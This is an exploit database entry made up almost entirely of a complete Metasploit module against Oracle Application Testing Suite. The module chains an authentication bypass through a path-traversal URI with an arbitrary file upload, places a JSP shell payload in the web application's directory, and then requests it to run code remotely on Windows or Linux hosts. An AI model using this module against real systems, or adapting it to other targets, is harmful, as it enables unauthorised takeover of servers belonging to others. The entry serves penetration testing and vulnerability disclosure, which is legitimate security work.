Oracle ATS Arbitrary File Upload

2016.05.25
Credit: wvu
Risk: High
Local: No
Remote: Yes
CWE: CWE-264

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Oracle ATS Arbitrary File Upload', 'Description' => %q{ This module exploits an authentication bypass and arbitrary file upload in Oracle Application Testing Suite (OATS), version 12.4.0.2.0 and unknown earlier versions, to upload and execute a JSP shell. }, 'Author' => [ 'Zhou Yu', # Proof of concept 'wvu' # Metasploit module ], 'References' => [ %w{CVE 2016-0492}, # Auth bypass %w{CVE 2016-0491}, # File upload %w{EDB 39691} # PoC ], 'DisclosureDate' => 'Jan 20 2016', 'License' => MSF_LICENSE, 'Platform' => %w{win linux}, 'Arch' => ARCH_JAVA, 'Privileged' => true, 'Targets' => [ ['OATS <= 12.4.0.2.0 (Windows)', 'Platform' => 'win'], ['OATS <= 12.4.0.2.0 (Linux)', 'Platform' => 'linux'] ], 'DefaultTarget' => 0 )) register_options([ Opt::RPORT(8088) ]) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => '/admin/Login.do' ) if res && res.body.include?('12.4.0.2.0') CheckCode::Appears else CheckCode::Safe end end def exploit print_status("Uploading JSP shell to #{jsp_path}") upload_jsp_shell print_status("Executing JSP shell: #{full_uri}olt/pages/#{jsp_filename}") exec_jsp_shell end def upload_jsp_shell mime = Rex::MIME::Message.new mime.add_part('.jsp', nil, nil, 'form-data; name="storage.extension"') mime.add_part(jsp_filename, nil, nil, 'form-data; name="fileName1"') mime.add_part('', nil, nil, 'form-data; name="fileName2"') # Not needed mime.add_part('', nil, nil, 'form-data; name="fileName3"') # Not needed mime.add_part('', nil, nil, 'form-data; name="fileName4"') # Not needed mime.add_part('*', nil, nil, 'form-data; name="fileType"') mime.add_part(payload.encoded, 'text/plain', nil, %Q{form-data; name="file1"; filename="#{jsp_filename}"}) mime.add_part('Default', nil, nil, 'form-data; name="storage.repository"') mime.add_part('.', nil, nil, 'form-data; name="storage.workspace"') mime.add_part(jsp_directory, nil, nil, 'form-data; name="directory"') register_files_for_cleanup(jsp_path) send_request_cgi( 'method' => 'POST', 'uri' => '/olt/Login.do/../../olt/UploadFileUpload.do', 'ctype' => "multipart/form-data; boundary=#{mime.bound}", 'data' => mime.to_s ) end def exec_jsp_shell send_request_cgi( 'method' => 'GET', 'uri' => "/olt/pages/#{jsp_filename}" ) end def jsp_directory case target['Platform'] when 'win' '..\\oats\\servers\\AdminServer\\tmp\\_WL_user\\oats_ee\\1ryhnd\\war\\pages' when 'linux' '../oats/servers/AdminServer/tmp/_WL_user/oats_ee/1ryhnd/war/pages' end end def jsp_filename @jsp_filename ||= Rex::Text.rand_text_alpha(8) + '.jsp' end def jsp_path jsp_directory + "#{target['Platform'] == 'win' ? '\\' : '/'}" + jsp_filename end end


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